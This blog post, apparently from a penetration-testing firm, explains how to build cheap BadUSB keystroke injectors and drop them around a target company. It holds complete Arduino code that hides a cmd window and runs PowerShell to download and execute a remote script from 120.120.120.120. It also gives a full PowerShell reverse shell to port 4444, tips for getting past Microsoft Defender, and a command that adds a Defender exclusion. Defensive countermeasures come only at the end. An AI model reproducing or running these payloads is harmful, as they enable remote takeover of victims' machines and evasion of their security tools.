USB rubber ducky is a virtual keystroke injector that can spawn a malicious implant in just 3 seconds. Windows, macOS and Linux machines will recognize this USB rubber ducky as a regular keyboard and immediately allows pre-programmed keystrokes to be executed on the device. This means passwords can be stolen or a reverse shell can be spawned in a blink of an eye. The Hak5 USB rubber ducky first appeared in 2010. Since then, numerous scripts got developed for offensive purposes.
The significance of affordability
USB rubber ducky comes at a retail price of approximately $50,- excluding shipping costs and a customs clearance fee. Now let’s imagine the following engagement scenario: You want to penetration test a medium-size logistics company. You program a number of USB rubber duckies with a reverse shell to your VPS (Virtual Private Server).
Academic researchers state that 48% of all found USB sticks will be picked up by someone and plug it into a machine. Nontheless, in order to maximize your success rate of getting a few callbacks, you can distribute 15 USB rubber duckies around the parking lot, lobby and emergency exit. Let’s do some quick math here for this engagement: (15 duckies x 50 dollars) + 20 dollars shipping costs = $770,- excluding a customs clearance fee. This total amount might be worth the engagement depending on the objective but this is rather costly. Instead, this AliExpress BadUSB replica of the USB Rubber Ducky is a cost-effective alternative (figure 1).
We are now talking about (15 duckies x 4 dollars) = $60,- USD excluding a minimal customs clearance fee for the whole engagement. Furthermore, this alternative version does not have the Hak5 ducky logo on it and already has the looks and feels of a legitimate USB stick. Pro tip: use AliExpress reverse image search on your mobile device if you cannot find this exact model on AliExpress with a regular text search. Also take the DOA (Dead On Arrival) percentage and shipping time into account from AliExpress.
This BadUSB model uses the ATMEGA32U4 microcontroller which can be programmed the same way on Arduino as a USB rubber ducky. See Figure 2 for its internals.
The FBI reported the same BadUSB model was used by the FIN7 APT team to distribute malware to several businesses in the USA. The USB stick was physically mailed claiming they received a $50,- gift card from BestBuy (figure 3).
Path to compromise
Let’s now touch base on how to actually get this BadUSB configured with a payload. It is important to first investigate the target Operating System (OS). This means you should create your reverse shell based on the target OS. You can sometimes deduce the OS based on the industry. For example, macOS is often used in web design companies or fashion companies. Ubuntu/Debian is often used at tech startup companies.
In our example, we target a Windows 10 Enterprise 1909 machine with Microsoft Defender Advanced Threat Protection (MDATP) enabled. Our C2 (Command and Control) server runs on an OpenBSD VPS server in Vultr.com, an alternative to DigitalOcean and AWS. Figure 4 shows the path of compromise:
This path of compromise has four steps:
1) A malicious actor distributes an x amount of BadUBS sticks around the parking lot, lobby and emergency exits.
2) An employee takes the bait and plugs one BadUSB into their Windows machine. The BadUSB is recognized as a HID keyboard and starts up the Run diagram (Windows + R shortcut) to launch PowerShell commands to download the PS1 staging payload/script (code block 1). We resize the cmd prompt to a single line and change the cmd background color from black to white to minimize the visibility from an end-user perspective. This code block is compiled with Arduino IDE. Make sure you compile for the Arduino Leonardo board in Arduino IDE.
#include "Keyboard.h"
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup()
{
Keyboard.begin();
delay(500);
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(150);
Keyboard.print("cmd");
delay(100);
typeKey(KEY_RETURN);
delay(100);
Keyboard.print("color f7 && mode con:cols=15 lines=1");
delay(100);
typeKey(KEY_RETURN);
delay(150);
Keyboard.print("powershell.exe Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted && powershell.exe -windowstyle hidden -nop -c \"iex(New-Object Net.WebClient).DownloadString('https://120.120.120.120/1.ps1')\"");
delay(150);
typeKey(KEY_RETURN);
Keyboard.end();
}
void loop() {}
3) Next, the PowerShell staging script (1.ps1) is executed and spawns a reverse shell over port 4444 (code block 2). You would need to encode this string for allowing the reverse shell to be executed without MDATP blocking this action.
powershell '$client = New-Object System.Net.Sockets.TCPClient("120.120.120.120",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
4) The employee's machine is now compromised. This means the compromised machine is now controlled by the malicious actor through the C2 VPS (figure 4). Please note that MDATP Endpoint Detection Response (EDR) in blocking mode can block this reverse shell, even when it's base64 encoded (hint: Golang based obfuscator). You can also take a different route and go for DLL-based and/or .NET Framework based reverse shells, or create a Defender exclusion path with the command: Set-MpPreference -ExclusionPath $env:TMP.
Counter measurements
Keyboards are nowadays all USB-based Human Interface Devices (HIDs). BadUSB takes advantage of how Human Interface Devices Plug and Play work. HID drivers are embedded in all modern-day Operating Systems. An AV/ATP typically does not detect this BadUSB, but it can however detect the (PowerShell) code it is trying to execute next. The following countermeasures can be considered against BadUSB attacks, but are not waterproof. Perhaps the IEEE and OS vendors should revisit the OS Plug and Play Human Interface Device Protocol to make a more secure environment.
1) Train your team(s)/employees. Never insert a USB-stick which you do not (fully) trust. Only use USB-sticks which are new and sealed and you can verify the origin. Do not plug in any USB sticks which you found. Lastly, never leave your computer unattended and unlocked. Cryptsus can help you with a (spear) phishing campaign and other social engineering engagements to train your employees against these kinds of attacks.
2) Implement Admin Rights Management (ARM). This way an ARM pop-up will appear to re-enter user credentials required to start cmd or PowerShell. This means most BadUSB scripts will fail. Please note that low-privileged users should not be allowed to use cmd or PowerShell in the first place.
3) Only allow signed scripts to be run. You can configure this on OS-level or in your AV/ATP policies.
4) Only allow HID devices based on known and trusted ID numbers or block VID value 0x2341 and PID value 0x8037. Please note that the blocklist method can be easily circumvented by setting it's ID to that of an allowlisted keyboard. You can leverage Google's USBDLM and other third party applications.
5) Limit physical access to your servers. You can disable USB ports in the BIOS/EUFI when you are for example running servers inside a Data Center colocation. Worst case you can always put superglue kit on the USB ports. BadUSB will still work on machines with removal storage devices disabled since BadUSB registers as an I/O keyboard HID device. Nontheless, you can disable automatic installation of new USB devices in your OS.
6) Enable OS logging (sysmon) and forward logging to a remote logging server/SIEM/SOC. Also increase your Windows PowerShell event log size to 1GB to ensure Windows logs are not quickly overwritten.
7) Lastly, an Intrusion Detection System (IDS) and an Intrusion Prevention System (IPS) might pick up on a reverse shell when it’s already spawned/too late.